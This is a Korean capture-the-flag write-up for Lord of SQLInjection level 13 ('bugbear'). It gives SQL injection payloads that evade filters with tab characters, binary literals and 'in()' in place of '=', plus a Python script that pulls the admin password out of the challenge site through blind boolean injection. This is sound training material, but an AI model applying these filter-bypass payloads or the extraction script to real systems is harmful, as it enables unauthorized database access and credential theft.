본문 바로가기
CTF/los

[CTF] Lord of SQLInjection 13번 bugbear Write-Up

by spareone 2026. 3. 10.
[그림 1] 문제 메인 페이지

검열 문자열이 많아졌습니다. 특히, 0x가 검열되어 hex로 문자열을 입력할 수 없습니다.

select id from prob_bugbear where id='guest' and pw='' and no=1||id   in(0b0110000101100100011011010110100101101110)

hex가 안 되면 bin으로 입력하면 됩니다.

admin의 bin값인 0b0110000101100100011011010110100101101110를 입력합니다. 공백은 tab 문자로 우회합니다.

[그림 2] admin 레코드 출력

Hello admin이 뜬 것을 확인할 수 있습니다.

select id from prob_bugbear where id='guest' and pw='' and no=1||id   in(0b0110000101100100011011010110100101101110)&&length(pw)>{i}

pw 길이를 알아내야 하는데, = 도 검열되었기 때문에 다음과 같이 입력하여 Hello admin이 안 뜨는 지점까지 대입합니다.

select id from prob_bugbear where id='guest' and pw='' and no=1||id   in(0b0110000101100100011011010110100101101110)&&mid(pw,{i},1)   in({bin(j)})

11번 문제랑 비슷하게 문자를 알아내면 됩니다. 공백이랑 =, 0x를 뺏겼기 때문에 쿼리가 구질구질해지고 있습니다.

 

import requests

def func():
    URL = 'https://los.rubiya.kr/chall/bugbear_19ebf8c8106a5323825b5dfa1b07ac1f.php'
    cookie = {
        'PHPSESSID' : "input session id"
    }

    flag_len = 0
    while(True):
        flag_len += 1
        params = {
            'pw' : "1",
            'no' : f"1||id\tin(0b0110000101100100011011010110100101101110)&&length(pw)>{flag_len}"
        }
        response = requests.get(URL, params=params, cookies=cookie)
        if 'Hello admin' not in response.text:
            break
    
    print(f'flag_len : {flag_len}')

    ans = ''
    for i in range(flag_len):
        for j in range(32, 127):
            params = {
                'pw' : "1",
                'no' : f'1||id\tin(0b0110000101100100011011010110100101101110)&&mid(pw,{i+1},1)\tin({bin(j)})'
            }
            response = requests.get(URL, params=params, cookies=cookie)
            if 'Hello admin' in response.text:
                ans += chr(j)
                break
            
    return ans.lower()

if __name__ == "__main__":
    print(func())

 

자동화 코드입니다. 소문자가 정답이기 때문에 lower()를 합니다.

[그림 3] 문제 정답처리

pw를 전달하면 문제가 정답처리 됩니다.

댓글